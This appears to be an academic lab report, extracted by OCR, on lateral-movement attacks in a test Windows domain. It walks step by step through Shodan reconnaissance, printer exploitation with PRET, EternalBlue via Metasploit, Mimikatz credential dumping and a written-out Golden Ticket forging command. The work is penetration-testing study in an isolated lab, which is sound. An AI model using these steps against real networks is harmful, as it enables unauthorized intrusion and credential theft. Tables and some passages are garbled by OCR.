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Acronyms
Acronym Term Description
A technique where attackers
DCSync Domain Controller Sync impersonate a domain controller

to extract credentials

Golden Ticket

Kerberos Golden Ticket

Forged Kerberos tickets allowing
attackers to impersonate any user
in a domain

Authentication protocol that can

Kerberos Kerberos Authentication Protocol || be exploited via Pass-the-Ticket
and Golden Ticket attacks
. . . Used for directory services; can
LDAP Lightweight Directory Access be exploited to gather information
Protocol
for lateral movement
Link-Local Multicast Name Often abuse_d tq intercept and
LLMNR . relay authentication requests for
Resolution . :
credential harvesting.
Enables name resolution within
MDNS Multicast DNS local networks; can be exploited
for lateral movement
Attacks where traffic is
MITM Man-in-the-Middle intercepted to steal credentials or
data
Used for name resolution;
NBT-NS NetBIOS Name Service frequently targeted in spoofing
attacks
A Windows authentication
NTLM NT LAN Manager protocol often targeted in Pass-
the-Hash attacks
Demonstration to validate a
PoC Proof of Concept concept, typically for testing

security vulnerabilities
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A tool for executing processes on
PSExec Sysinternals PSExec Tool remote systems, commonly used
for lateral movement

Using stolen NTLM hash values

PtH Pass-the-Hash to authenticate to other systems
Using Kerberos tickets to
PtT Pass-the-Ticket authenticate without requiring a

password

Used for accessing remote
RDP Remote Desktop Protocol machines and often targeted in
lateral movement attacks

Forged Kerberos service tickets
Silver Ticket Kerberos Silver Ticket granting access to specific
services

A protocol often exploited for
SMB Server Message Block lateral movement across systems
in a network

Tracks system-level events on
Sysmon System Monitor endpoints to aid in intrusion
detection

Allows remote execution of
commands and scripts, often used
in lateral movement

Windows Management

WMI Instrumentation
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Phase| Tasks/Activities

Description

Nikolaos Bermparis’ s
work contribution

work contribution

1. Introduction & Setup

Project Overview

Explanation of Windows Server
2008 R2, vulnerabilities, and
objectives

Provided detailed introduction
and background analysis

Introduction to Lateral
Movement Attacks

Describe and analyze the
meaning of Lateral Movement
Attacks

Provided detailed analysis on
Lateral Movement Attack
categories and methodology

Lateral Movement Attacks on
the windows domain

Describe and analyze the
Lateral Movement Attacks on
the windows domain

Provided a detailed explanation
of windows domain Lateral
Movement Attacks Based on
the MITRE ATT&CK table

Environment Setup

Configuring Testbed VMs
(Kali, Windows 7, Windows
Server 2008 R2)

Successfully set up all
machines, including network
configuration and shared
folders

2. Reconnaissance

Network Scanning

Performed Nmap scan on the
target Windows Server

Identified open ports, services,
and operating system details

Vulnerability Identification

Eternal Blue, BlueKeep, SMB
shares and other vectors

Analyzed the potential
vulnerabilities in detail

3. Exploitation

Follina

Msdt Follina PoC

Encountered limitations due to
Windows Version

PRET

Successful exploitation of
simulated printer with the
Printer Exploitation Toolkit

Taken Access to the CUPS
Server and showcased the tool
capabilities

Ms17-010 Eternal Blue

Successful exploitation using
Metasploit

Taken Access to the Windows 7
Machine with the use of the
Metasploit Framework
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Explored memory dump and
adjusted GROOMSIZE but @® o
session wasn't created

Ran the exploit and explained

BlueKeep Exploit the DoS impact (Blue Screen)

Demonstration of a reverse TCP

Generated a payload with payload using msfvenom and
msfvenom msfvenom for a reverse TCP  |ithe shikata_ga_nai encoder for ||@|O
connection obfuscation with multiple
iterations

4. Post-Exploitation

Credential Dumping with Dumped cookies, credentials, ||Successfully explored and

Mimikatz and _system info from the documgn_ted meterpreter ® O
session capabilities
Demonstrates loading a forged B
Captured NTLM hashes using ||Kerberos ticket for
Pass-the-Ticket Attack Responder and used them to authentication, enabling [ Jife)
access SMB unauthorized access to network
resources
Use of Mimikatz commands Showcases the enumeration of | || |
Kerberos Ticket and enumeration of Kerberos  ||Kerberos tickets, displaying elo

tickets including attributes and ||server/client names, flags, and
validity periods ticket renewal validity

Successful SMB poisoning
attack using Responder to
Responder Capture of NTLM Hash intercept and capture NTLM | (e}
hashes, enabling credential theft
for lateral movement.

Successful Ransomware
Deployment - Delivered Demonstrated the impact of file
WannaCry ransomware to the |lencryption and ransom notes

victim system

Ransomware Deployment

5. Detection

Successfully install the
Setup of Sysmon Sysmon tools on the virtual
machines

The Sysmon tool was
successfully up and running
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for parsing

lateral movement logs from
evtx files

. Creation of a configuration Successfully configured and ]
Creation of Sysmon . .
. LT file for the Lateral Movement ||setup the new file based on o
Configuration file . .
Detection the needs of our machines
BV Analyzer ool e ol
Sysmon EVTX Analyzer tool (jincluding the RBPolicy.txt file ® O

6. Reporting

Documentation of Attacks

Detailed explanation of attacks
like NTLM hash capture,
WannaCry

Comprehensive report covering
theoretical and practical aspects
of all attacks

Analysis of Tools Used

Analyzed tools like Sysmon,
Responder, Metasploit, and
others

Provided theoretical and
practical explanations for each
tool

Defense Recommendations

Recommended defenses like
Sysmon, MFA, ZTA, and
secure configurations

Offered actionable defensive
measures to mitigate the tested
attacks

Project contribution notations:

@ Indicates fully worked on; © Indicates partially worked on ; O Not Engaged at all .
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Introduction

Lateral movement is a critical phase in many modern cyber-attacks enabling attackers to expand
their foothold within a network after an initial compromise. This tactic allows adversaries to
navigate through interconnected systems, escalating privileges, accessing sensitive data and
compromising additional resources. By exploiting vulnerabilities, leveraging legitimate tools, or
abusing weak authentication mechanisms, attackers can remain undetected while propagating their
reach. These activities pose a substantial risk to organizational infrastructure as they often allow
attackers to achieve their objectives without triggering alarms. Addressing lateral movement
effectively requires a deep understanding of attack patterns, robust defensive measures, and timely
incident response to mitigate damage and protect critical systems.
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Testbed Creation

In our demonstration (Chapter 4), a virtual lab was created in order to simulate a realistic SOHO
network infrastructure. 4 virtual machines(VVMs) were created. 1 machine played a role as a
simulated functional printer (Ubuntu Server 24.04.1 LTS) , 1 workstation (Windows 7 Enterprise
SP1), 1 Server (Windows Server 2008 R2). For the attackers machine 1 virtual machine was
also created (Kali Linux 2023.2 LTS).

The SOHO network topology can be seen in detail in figure 1.

=
=
Internet

@ Router
\I

tem—rmsa
)

@

Switch

Attacker’s Laptop (Kali
Linux2023.2 LTS)

Windows Printer(Ubuntu Windows 7

Server 2008 R2 Server 24.04.1LTS) Enterprise SP1
x64-Bit Edition

Figure 1 — High level View of the testbed network topology.
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For the simulation of the printer we used an Ubuntu Server as the main operating system and
installed CUPS(Common UNIX printing Systems) for it’s usage. At the same time we have
deliberately open the port 631 (which is common for printers) in order to simulate our PoC.

OpenPrinting CUPS Home Classes Help Jobs Printers
Add Printer

Add Printer HPOfficeJet9015e

Printer has been added successiully.
Note:Printer drivers and raw queues are deprecated and will stop working in a future version of CUPS.

Set Printer Options

Figure 2 - CUPS Server(Ubuntu Server 24.04.1) printer setup
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Station | Type | Brand | Operating | Kernel | WNIC | CPU/RAM | IP Address | MAC
System Version Address

Client VM Custom | Ubuntu 6.8.0-51- | 6205 Intel® Core™ | 192.168.1.2 0800277bca8c
printer Server generic i7- 12700H
24.04.1LTS CPU @ 2.60
GHz 2.59 GHz
(x6 VM
Processors), 4
GB DDR4 (VM
Memory
Allocated)
RAM

Client VM Custom | Windows 7 | 6.1.7601 | 8.4.1.0 | Intel® Core™ 192.168.1.3 080027A58DC7
STA1 Enterprise i7- 12700H
SP1 x64-Bit CPU @ 2.60
Edition GHz 2.59 GHz
(x4 VM
Processors), 4
GB DDR4 (VM
Memory
Allocated)
RAM

Windows | VM Custom | Windows 6.1 n/a Intel® Core™ 192.168.1.185 | 080027A39471
Server Server 2008 i7- 12700H

R2 CPU @ 2.60
GHz 2.59 GHz
(x4 VM
Processors), 4
GB DDR4 (VM
Memory
Allocated)
RAM

Attacker | VM Custom | Kali Linux 6.1.0- n/a Intel® Core™ 192.168.1.68 080027abale8
2023.2 LTS | kali9- i7- 12700H
amd64 CPU @ 2.60
GHz 2.59 GHz
(x2 VM
Processors), 2
GB DDR4 (VM
Memory
Allocated)
RAM
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Lateral Movement

This chapter provides a theoretical introduction into lateral movement attacks , which is critical
for protecting SOHO networks.

Firstly we will open with a brief historical overview and then a rundown of the different stages of
a lateral movement attack where malicious users usually take advantage of to compromise a
network. We then proceed to a fundamental analysis on windows domain based attacks in complete
agreement with the MITRE ATT&CK Lateral Movement tactics list (MITRE ATT&CK, 2025).

Lateral movement is a tactic that cybercriminals use to advance deeper into an organization’s
network after gaining unauthorized access. During these attacks threat actors might deploy
different tools such as malware , steal hashes and compromise user accounts.

As mentioned by MITRE | ATT&CK :

“Lateral Movement consists of techniques that adversaries use to enter and control remote systems
on a network. Following through on their primary objective often requires exploring the network
to find their target and subsequently gaining access to it. Reaching their objective often involves
pivoting through multiple systems and accounts to gain. Adversaries might install their own remote
access tools to accomplish Lateral Movement or use legitimate credentials with native network
and operating system tools, which may be stealthier.”

What is the MITRE ATT&CK Framework?

The MITRE ATT&CK framework serves as an invaluable tool for understanding the tactics, techniques, and procedures (TTPs)
adversaries employ during lateral movement. By cataloging these techniques in a structured format, it empowers defenders to
identify, detect, and mitigate such activities effectively.
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3.1 A historical walkthrough

When we look back at the history of lateral movement attacks in Windows environments a
consistent pattern emerges where adversaries exploit inherent trust relationships and native
functionality within the operating system to move from an initial foothold to other systems in a
network. One of the earlier large-scale incidents illustrating this phenomenon was the Conficker
worm (discovered in 2008 to 2009). Conficker’s rampant spread showed how quickly malware
could leverage Windows vulnerabilities (like those in the Server Service) to jump laterally,
especially in networks that relied on default credentials or outdated patches. Although Conficker
did not specifically target credential theft techniques (like Mimikatz) as modern threats do, it set
the stage for how devastating network-wide infections could become.

WannaCry in 2017 took lateral movement to a new level of global visibility. It exploited the
EternalBlue vulnerability in SMB (Server Message Block) to hop from one unpatched Windows
system to another. That worm-like movement allowed WannaCry to encrypt files across entire
networks in a matter of hours. | remember how organizations all over the world scrambled to take
systems offline, patch them, and isolate critical servers. In MITRE ATT&CK terms, WannaCry’s
use of SMB-based propagation mapped most closely to techniques under Lateral Movement
(TAO0008), specifically Remote Services (T1021). Although its main end goal was ransomware,
the fundamental approach was the same as more sophisticated advanced persistent threats: exploit
built-in Windows protocols, propagate laterally, and increase foothold inside the network.

Not long after the damages of WannaCry came NotPetya, which many saw as a more destructive
relative. NotPetya leveraged both EternalBlue and the credential theft tool Mimikat’z (if present
on compromised systems) to accelerate lateral movement. It demonstrated how quickly an attacker
could paralyze operations by pivoting across a Windows environment once that initial
vulnerability had been exploited.

A significant leap forward in complexity and stealth became evident with the SolarWinds supply
chain attack which was unleashed in late 2020. Specifically attackers compromised the update
process of a widely used network monitoring and management product, Orion. Because it was a
trusted tool with high-level privileges, the malicious Orion update effectively gave the threat actors
privileged access deep inside victim networks. They could then perform lateral movement across
Windows domains at will, using living-off-the-land techniques that left minimal traces. For
example, they relied on legitimate Windows services and protocols—such as WMI, PowerShell
remoting, and pass-the-hash to blend into normal network activity. The SolarWinds attackers
focused on stealth and persistence where on the other hand WannaCry hammered networks with a
fast-spreading worm.SolarWinds took a low-profile approach to pivot through enterprise
environments, gather data and exfiltrate it over a prolonged period. In MITRE ATT&CK terms,
this mapped to a broad range of techniques, including Valid Accounts (T1078) for reusing stolen
credentials, Remote Services (T1021) for moving around, and even Pass the Ticket (T1550.003)
or Pass the Hash (T1550.002) if they extracted and reused those credentials to authenticate.

Nikolaos Bermparis , Aristeidis Papadopoulos
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3.2 Introduction to Lateral Movement in Windows Domains

Lateral movement is a critical tactic employed by adversaries to expand control over a network
after initial compromise. In a Windows domain environment, attackers exploit trust relationships,
misconfigurations, and vulnerabilities to gain access to additional systems, resources, or user
credentials.

So we’ve covered the basic concept of Lateral Movement attacks. Let’s now take a look at attacks
involved with the windows domain and the different techniques applied while referring to the
MITRE ATT&CK list

3.2.1

One method that adversaries use is Remote Services (T1021) in order to access other systems ,
either by using stolen credentials and then using protocols like RDP(Remote Desktop Protocol) ,
SMB(Server Message Block) , SSH(Secure Shell) and others. In todays world there are many ways
to access open ports and infiltrate networks , even with Google Dorking Techniques. People use
methods like google dorking or websites like shodan.io to gather information on and locate
vulnerable systems.

Shodan is a search engine that lets users search for various types of servers (webcams, routers,
servers, etc.) connected to the internet using a variety of filters. Some have also described it as a
search engine of service banners, which is metadata that the server sends back to the client.

Link to Shodan: https://www.shodan.io/

Search Engine for the
Internet of Everything

@ Beyond the Web Exposure % Internet Intelligence

More than 3 million registered users across the world are using Shodan, including:
3 89% of the Fortune 100 O 5 of the Top 6 Cloud Providers & 1,000+ Universities

Figure 3 — First look into shodan.io
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In our PoC our open device is a printer (an ubuntu server running cups). The attacker will be able
to access the device since it is open to the internet. Like many printers around the world sometimes
there is little to no security with them being open to ports of 631 for the Internet Printing Protocol
(IPP)

Example of shodan with applied search filters based on port and Country:

" SHODAN Explore Downloads Pricing 2 port:631 country:"GR"

eport

374 Access Granted: Want to get more out of your existing Shodan account? Check out eve
-
Athens
Chania
Mytilene
Thessaloniki

Irékleion

Ote SA (Hellenic Telecommunications Organisation)
University of the Aegean

Nova Telecommunications & Media Single Member S.A
Technical University of Crete

University of Crete

CUPS (IPP)
Virata-EmWeb
nginx

Home Assistant

Apache httpd

Ubuntu
Linux

Mac OS X

Figure 4 — Shodan results with filters port:631 and country: “GR”

Some of them have default credentials and the attacker at the same time is able to gain access
easily to the printer. After that we are able to scan the network for other devices.
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Another method involves the Exploitation of Remote Services (T1210) which MITRE ATT&CK
describes as “Adversaries may exploit remote services to gain unauthorized access to internal
systems once inside of a network. Exploitation of a software vulnerability occurs when an
adversary takes advantage of a programming error in a program, service, or within the operating
system software or kernel itself to execute adversary-controlled code. A common goal for post-
compromise exploitation of remote services is for lateral movement to enable access to a remote
system.”

This involves exploiting vulnerabilities in exposed remote services to gain control of a system.
Such examples include the MS17-010 (or EternalBlue CVE-2017-0144) vulnerability which
specifically exploits the unpatched SERVER MESSAGE BLOCK (SMB) protocol on windows
machines. On the other hand a number of RDP(Remote Desktop Protocol) exploits exist such as
seth which works as MITM RDP connection which extracts credentials. In our case however we
picked another known exploit called BlueKeep(CVE- 2019-0708) for the exploitation of the
protocol.

3.2.2

One also widely used attack is the Internal Spear Phishing (T1534) where once inside a network
attackers send phishing emails using compromised accounts to target additional users within the
same organization. What is interesting considering the windows domain are exploits designed to
fool the user into opening a file which belongs to one of the apps of Microsoft 365 such as Word.
One of these tools for instance is called “Follina” (CVE 2022-30190) which leads to a RCE
(Remote Code Execution) within the Microsoft Windows Support Diagnostic Tool (MSDT).

T1534 Internal After they already have access to accounts or systems within the environment, adversaries may use internal spearphishing to gain access to additional
Spearphishing information or compromise other users within the same organization. Internal spearphishing is multi-staged campaign where a legitimate account is
initially compromised either by controlling the user's device or by compromising the account credentials of the user. Adversaries may then attempt to take
advantage of the trusted internal account to increase the likelihood of tricking mare victims into falling for phish attempts, often incorporating
Impersonation.

Figure 5 - Internal Spearphishing (T1534) from the MITRE ATT&CK table
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For instance a user can receive an email such as the one seen in the figure below which might lead

to the download of the file:

Seb shared a file with you
Raoly > Forward &

Reply All

v Yesterday
Seb from CanlPhish ’
Seb from CaniPhish Gaz from CaniPhish ed 37012024 434 P

Seb shared a file wi...

Al Unread Unread

@]

[{.SenderProfile-DisplayName}} shared a file with you

{E22) This link will work for anyone in your crganisation.

B® Microsoft

Figure 6 — Internal Spear Phishing Mail with Follina

Msdt Follina Link: https://github.com/JohnHammond/msdt-follina

Recycle Bin ) )
/Desktop/msdt-follina-ma

q follina.py

2 /D top/msdt-follina-ma

Microsoft
Edge follina

Figure 7 — Follina Execution from Attackers Machine
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Ju ] = follina - Protected View - Saved £ search = a X

File  Home Insert Draw Design Layout References Mailings Review View Help |DCummems\

%

(i) PROTECTED VIEW Be careful—files from the Intemet can contain viruses, Unless you need to edit. its safer to stay in Protected View. | Enable Editing |

(i) PRODUCT NOTICE Word hasn't been activated. To keep using Word without internuption, activate before Tuesday, January 7, 2025, | Activate | X

BB (@ search | H w ® ) tfr o 8 " _“ g"

Figure 8 -Victim opens malicious Follina document

3.2.3

Some of the most important steps during Lateral Movement attacks consist of the Pass the Hash
(PtH) Credential Override Attack

Hash-based authentication is a widely adopted method in Windows systems that provides a secure
mechanism for verifying user credentials. Instead of transmitting plaintext passwords over a
network, this method uses hashed values, ensuring integrity and security during the authentication
process. Microsoft stores user passwords as hashes, specifically NTLM (NT LAN Manager)
hashes, which are robust against conventional brute-force attacks. However, this mechanism is not
immune to exploitation. Techniques such as "Pass the Hash™ leverage the stored hashed values to
bypass authentication processes, enabling adversaries to impersonate legitimate users without
knowing their plaintext passwords.

The "Pass the Hash" (PtH) attack is a critical technique under the MITRE ATT&CK framework.
This credential access method allows adversaries to gain unauthorized access to systems by
leveraging stolen hashed credentials, often extracted from the memory of a compromised system.
These hashes are used to authenticate without decrypting or cracking them. Despite its reliance on
secure cryptographic principles, the exploitation of NTLM hashes underscores systemic
vulnerabilities within credential management processes.
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The PtH attack in this study was conducted on a testbed network comprising a Windows Server
2008 R2 machine and a Windows 7 client, mimicking a typical Windows domain environment.
Using the penetration testing tool Mimikatz, hashes were extracted from the Local Security
Authority Subsystem Service (LSASS) memory of a compromised machine. These hashes were
subsequently used to authenticate and move laterally within the network.

The initial compromise was achieved through an EternalBlue exploit targeting the SMB service
on the Windows 7 machine. This provided a foothold for executing commands and extracting
credentials.

Mimikatz was uploaded to the compromised machine and executed to dump credentials stored in
LSASS memory. The extracted NTLM hashes appeared as follows:

User: Administrator
RID: 500
NTLM Hash: 31dc6cfe0d16ae931b73c59d7e0c089c

T1550 Use Alternate Adversaries may use alternate authentication material, such as password hashes, Kerberos tickets, and application access tokens, in order to move
Authentication laterally within an environment and bypass normal system access controls.
Materiz
Material

001 Application Access ~ Adversaries may use stolen application access tokens to bypass the typical authentication process and access restricted accounts, information, or
Token services on remote systems. These tokens are typically stolen from users or services and used in lieu of login credentials.

002 = Pass the Hash Adversaries may "pass the hash” using stolen password hashes to move laterally within an environment, bypassing normal system access controls. Pass
the hash (PtH) is a method of authenticating as a user without having access to the user's cleartext password. This method bypasses standard
authentication steps that require a cleartext password, moving directly into the portion of the authentication that uses the password hash.

003 | Pass the Ticket Adversaries may "pass the ticket" using stolen Kerberos tickets to move laterally within an environment, bypassing normal system access controls. Pass
the ticket (PtT) is a method of authenticating to a system using Kerberos tickets without having access to an account's password. Kerberos

authentication can be used as the first step to lateral movement to a remote system.

004 = Web Session Adversaries can use stolen session cookies to authenticate ta web applications and services. This technique bypasses some multi-factor authentication
Cookie protocols since the session is already authenticated.

Figure 9 — Use of Alternate Authentication Material (T1550) such as Pass the Hash (.002) and Pass the Ticket (.003)
from the MITRE ATT&CK table

While we review this attack scenario , we notice right away that adversaries rely heavily on
Windows credential mechanisms and classic credential dumping tools like Mimikatz. Specifically,
we can see attackers dumping credentials from LSASS memory (T1003.001) and subsequently
using those hashed credentials in a Pass the Hash (PtH) attack (T1550.002) to move laterally across
the network.
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Also in many cases we can also see is that Mimikatz was used to execute the Isadump::sam
command, extracting NTLM hashes from memory. From our perspective, this immediately is
mapped to OS Credential Dumping (T1003), which is a broad category of techniques used to
harvest account credentials from Windows systems. The fact that the attacker pulled the
Administrator’s NTLM hash confirmed they were targeting privileged accounts for high-level
access. The extracted hash allowed them to bypass the need for a cleartext password, one of the
more pernicious aspects of Pass the Hash attacks in general. In Windows domains, valid credential
material is often just as valuable as the real password.

Next the use of PsExec through a Metasploit module can be used to authenticate remotely. This
is a classic method for lateral movement (TA0008) within the MITRE ATT&CK framework,
specifically falling under Remote Services (T1021), with Windows Admin Shares (T1021.002) as
a relevant sub-technique. By supplying the hash to PsExec, the attacker effectively can bypass
normal authentication flows and established a session (like on a Windows Server 2008 R2
machine). Each time we see a scenario where hashes are reused in this manner we are reminded of
how critical it is to secure domain controllers and to isolate privileged credentials to minimize
exposure.

Once the attacker gained a foothold , further post-exploitation activities become possible. They
have the ability to pivot to other hosts, harvest additional credentials and escalate privileges that
can map back to multiple techniques such as Lateral Tool Transfer (T1570) or even additional OS
Credential Dumping (T1003) if they continued to run Mimikatz in new environments. Their ability
to exfiltrate critical data mapped to Exfiltration (TA0010) tactics. From our experience once a
Windows system is compromised and an attacker possesses a high-privilege NTLM hash they
often move unobstructed throughout the domain which underscores why these attacks can be so
damaging.
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3.2.4 Pass-the-Ticket (PtT) is a credential misuse attack categorized under MITRE ATT&CK
Technique T1550.003 . This technique involves the use of stolen Kerberos tickets to bypass
authentication systems and gain unauthorized access to resources within a network. By leveraging
the inherent trust in the Kerberos authentication protocol, attackers can move laterally and escalate
privileges, making PtT a critical method of compromise in enterprise environments.

In the MITRE framework, PtT is part of the Credential Access and Lateral Movement tactics.
Credential Access (TA0006) focuses on acquiring authentication data such as hashes, tickets, and
plaintext passwords, while Lateral Movement (TA0008) involves techniques to move through the
network using compromised credentials. PtT serves as a bridge between these two tactics, enabling
adversaries to achieve persistent access and escalate their control.

Kerberos and the Role of Tickets in Authentication

The Kerberos protocol, integral to Windows Active Directory environments, provides secure
authentication through the issuance of Ticket-Granting Tickets (TGT) and Service Tickets (TGS).
These tickets, managed by the Local Security Authority Subsystem Service (LSASS), are stored
temporarily in memory during user sessions. Attackers can dump this memory to extract valid
tickets, which can then be reused to impersonate users or services.

According to Microsoft, Kerberos integrates with Windows Server environments, such as
Windows Server 2008 R2, to facilitate secure, mutual authentication between entities. The Key
Distribution Center (KDC) in the Active Directory domain issues these tickets. While Kerberos is
robust, the storage of tickets in LSASS memory presents a significant attack surface for
adversaries.

3.25

The Lateral Tool Transfer (T1570) technique involves transferring malicious tools or binaries to
other systems within a network to facilitate further exploitation or privilege escalation. A
prominent example is the deployment of Mimikatz ,a post-exploitation tool designed to extract
credentials from memory including NTLM hashes, plaintext passwords, and Kerberos tickets.
Once transferred to a compromised machine, Mimikatz allows attackers to harvest credentials of
privileged accounts, such as domain administrators, and forge Kerberos Golden Tickets for long-
term persistence.
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For instance, a forged Golden Ticket provides attackers with unrestricted access to domain
resources by impersonating high-privileged accounts without requiring plaintext credentials. This
technique bypasses authentication barriers, allowing attackers to maintain domain dominance for
extended periods, as demonstrated by the Kerberos ticket's validity often being set to years. Such
access enables adversaries to conduct further lateral movement, escalate privileges, and exfiltrate
sensitive data while evading detection.

Lateral Tool Transfer and WannaCry

Similarly, the use of ransomware like WannaCry showcases another aspect of lateral tool transfer.
WannaCry leverages the EternalBlue exploit (based on SMBvV1 vulnerabilities) to autonomously
propagate across vulnerable Windows systems. This capability highlights how lateral tool transfer
can automate lateral movement, compromising an extensive portion of the network in a short time.
WannaCry’s devastating impact underscores the risks associated with outdated systems and the
misuse of legitimate protocols like SMB. By weaponizing lateral movement, WannaCry disrupts
operations and encrypts critical data, forcing organizations into untenable positions.

T1570 Lateral Tool Adversaries may transfer tools or other files between systems in a compromised environment. Once brought into the victim environment (i.e., Ingress Tool
Transfer Transfer) files may then be copied from one system to another to stage adversary tools or other files over the course of an operation.

Figure 10 — Lateral Transfer tool | MITRE ATT&CK
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3.2.6
Remote Desktop Protocol and BlueKeep (T1021.001)

Another significant lateral movement technique is the exploitation of Remote Desktop Protocol
(RDP), as detailed in MITRE ATT&CK under T1021.001. RDP is a legitimate Windows feature
that provides remote access to systems, often used by IT administrators for maintenance tasks.
However, when misconfigured, exposed to the internet, or left unpatched, RDP becomes a
powerful tool for attackers. A notable example is the BlueKeep vulnerability (CVE-2019-0708),
a critical remote code execution flaw affecting RDP in older Windows versions.

Exploitation of BlueKeep allows adversaries to bypass authentication mechanisms, execute
arbitrary code, and gain system-level access to the compromised host. Once a foothold is
established, attackers can use RDP to pivot laterally within the network, access sensitive systems,
and deploy malware or additional tools. The "forwardable™ and "renewable" properties of certain
tickets harvested via RDP-related exploits further enhance the attackers’ ability to extend their

reach across the domain, emphasizing the interconnected nature of RDP exploitation and credential
abuse.

T1021 Remote Services Adversaries may use Valid Accounts to log into a service that accepts remote connections, such as telnet, SSH, and VNC. The adversary may then
perform actions as the logged-on user.

001 Remote Desktop Adversaries may use Valid Accounts to log into a computer using the Remote Desktop Protocol (RDP). The adversary may then perform actions as the
Protoco logged-on user.

Figure 11 — Remote Desktop Protocol | MITRE ATT&CK
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Execution of Lateral Movement Attack

4.1

Remote Service Attack
PRET - Printer Exploitation Toolkit

The PRinter Exploitation Toolkit (PRET) is a Python tool developed at the University of Bochum
to automate most attacks presented in this wiki. It connects to a printing device
via network or USB and allows penetration testers to exploit a large variety of bugs and features
in PostScript, PJL and PCL, including temporary and physical denial of service attacks, resetting
the device tofactory defaults, print job manipulation and retention, access to a
printer's memory and file system as well as password cracking.

PostScript Request

U d /str 256 string def (%6™%../%)
Ser comman {==} st filenameforall

-!s - ]
PJL Request
7 |@PJL FSDIRLIST NAME="0:\" ENTRY=1 COUNT=65535|
P PRET )
d a
Attacker Connector -
- L )
w" y PJL Response
. TYPE=DIR
Y .. TYPE=DIR

PostScript TYPE=DIR

Result Translator N PJL TYPE=DIR

fdevice. kitmi — Logging saveDevice TYPE=DIR
...[lava.login.config PJL PostScript wehServer TYPE=DIR
.../eonfig/soe. xm!

E—
| (sclisko96.. vebServer/home/device tmi)

(%6disk0%../webServer.java.login.config)
(YedliskD9%.. wehServerfconfig/soe.xmi)

Figure 12 — Architecture of Printer
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PRET Link: https://github.com/RUB-NDS/PRET

For the tool’s usage we just need to run the python script and apply some filters depending on type
of filter that we have. In our case our printer uses Post Script (PS). So we will run :

e python3 pret.py 192.168.1.2 ps

~/PRET
pret.py 192. 1¢

Figure 13 — successful connection to printer

And since we have a successful shell , at the same time we

Figure 14 — P.R.E.T’s available commands
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4.2

Exploitation of Microsoft’s vulnerability with ms17-010
Eternal Blue exploit

EternalBlue (ms17-010) is a software vulnerability in Microsoft’s Windows operating system. It
targets the Windows Server Message Block (SMB) protocol, a network protocol that enables
shared access to files, printers, and other resources within a network.

For the exploitation of the current vulnerability we will use the Metasploit Framework.

e msfconsole : we open the Metasploit framework
e search ms17-010 : we search for the Eternal Blue Module
e use exploit/windows/smb/ms17_010 eternalblue : We select the exploit

File Actions Edit View Help

the matrix has you

Figure 15 — First look into the Metasploit Framework
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The Metasploit Framework is a powerful and flexible penetration testing platform used for
developing, testing and executing exploit code.

Figure 16 - Search of the ms17-010

Figure 17 — use 0 | show options command

Once we pick the exploit (use 0) , we are able to view more options (show options) and set the
victims IP address (set RHOSTS 192.168.1.3)
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Figure 18 — set RHOSTS and show options command

Finally we can run our exploit by just typing the command “exploit”.

Figure 19 — Successful exploitation

After we run the exploit we can see the output below:
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Meterpreter session 1 opened (192.168.1.5:4444 > 192.168.1.8:49599) 192.168.1.8:445 -
==== ===WIN ====

meterpreter>

From Figure 19 we conclude that we have successfully exploited the victim’s machine. At the
same time an activated meterpreter session can be seen. This provides a number of choices which
we can use in order to gain more information about the victims machine.

In the Figure below we can see the shell we have gained and also with the “whoami” command
we can see the directory and rights :

Figure 20 — shell and whoami commands
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4.3

Execution of Pass-the-Hash Attack and Successful Access to the System
Under Attack

Mimikatz is a tool that is commonly used by hackers and security professionals to extract sensitive
information, such as passwords and credentials, from a system’s memory.

Mimikatz Link: Releases - gentilkiwi/mimikatz

Figure 21 — uploading mimikatz.exe to the victim’s machine

After we have uploaded the Mimikatz.exe file to a hidden directory (C:\Users\Public) we can run
it from the victims machine and proceed with the attack.

Figure 22 — Shell and opening of mimikatz.exe
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Figure 23 — Mimikatz execution of the “sekurlsa::logonpasswords” command
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From the «privilege::debug», «sekurlsa::logonpasswords» commands As depicted in the above
Figures , with the «sekurlsa::logonpasswords» command all the necessary information for the
execution of the attack has been revealed. More precisely for the targeted ITBERBARIS account
the following credential information will be used:

It successfully dumped the credentials, including:
Username: ITBERBARIS
Domain: ITBERBARIS-PC

Password: SecurePass123!

Additionally, it extracted NTLM and SHA1 hashes, which can now be used for further attacks
like Pass-the-Hash (PtH) or lateral movement within the network.
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4.4

Golden Ticket Attack: Forged Kerberos Authentication for Domain
Persistence and Privilege Escalation

Figure 24 — Mimikatz execution of the command “kerberos::golden /domain:ITBERBARIS-PC /sid:S-1-5-21-
404004132-3824912723-2566149772 /target:ITBERBARIS-PC /rc4:316dcfe0d16ae931b73¢59d7e0c089¢0
/user:Administrator /service:CIFS /id:500

kerberos::golden /domain:ITBERBARIS-PC /sid:S-1-5-21-404004132-3824912723-2566149772
/target:ITBERBARIS-PC /rc4:316dcfe0d16ae931b73¢59d7e0c089c0 /user: Administrator
/service:CIFS /id:500
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Each parameter plays a distinct yet interdependent role in maintaining accurate identification and
secure authentication across Windows domain environments. The /domain parameter designates
the specific domain to which the target machine belongs, providing the necessary contextual
boundary for any subsequent operations. In parallel, the /sid parameter furnishes the unique
security identifier (SID) for that domain, ensuring a precise mapping of security policies and
ownership. Leveraging these domain-centric parameters, the /target parameter mandates entry of
the fully qualified domain name (FQDN) of the target machine, thus enabling systems to verify
and locate the correct endpoint within the larger network. Equally crucial is the /rc4 parameter
containing the NTLM hash of the target user’s credentials (commonly an Administrator), which
fortifies the authentication process by requiring a valid hash rather than plain-text passwords.
Furthermore, the /user parameter explicitly states the account name to be authenticated, aligning
operational commands to the correct identity. This identity-bound process is then refined by the
[service parameter, which specifies the service being accessed , ranging from CIFS (SMB) to
HTTP or HOST—allowing for appropriately targeted network interactions. Lastly, the /id
parameter denotes the Relative Identifier (RID) of the target user (typically the Administrator),
thereby linking these parameters together to form a coherent mechanism that upholds security,
traceability, and domain-centric identity management within Windows-based infrastructures.

e User: Administrator

e Domain: ITBERBARIS-PC.local

e SID:S-1-5-21-404004132-3824912723-2566149772

e RC4 Hash: 316dcfe0d16ae931b73c59d7e0c089c0

e Service: CIFS (used for SMB shares and file services)

e Lifetime: The ticket is valid for approximately 10 years (from 2025 to 2035).

With the “kerberos::ptt” (Pass-the-Ticket) command we have injected the ticket into memory.

Figure 25 — Ticket injection into victim’s memory with the command “kerberos::ptt”

The output from “kerberos::list” in Mimikatz confirms that the Golden Ticket has been
successfully injected and is active in the current session.
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Figure 26 — Confirmation of the ticket injection using the command “kerberos::list”

A Golden Ticket allows impersonation without needing the plaintext password enabling
unrestricted control over the domain. In this instance the ticket's validity period spans a decade
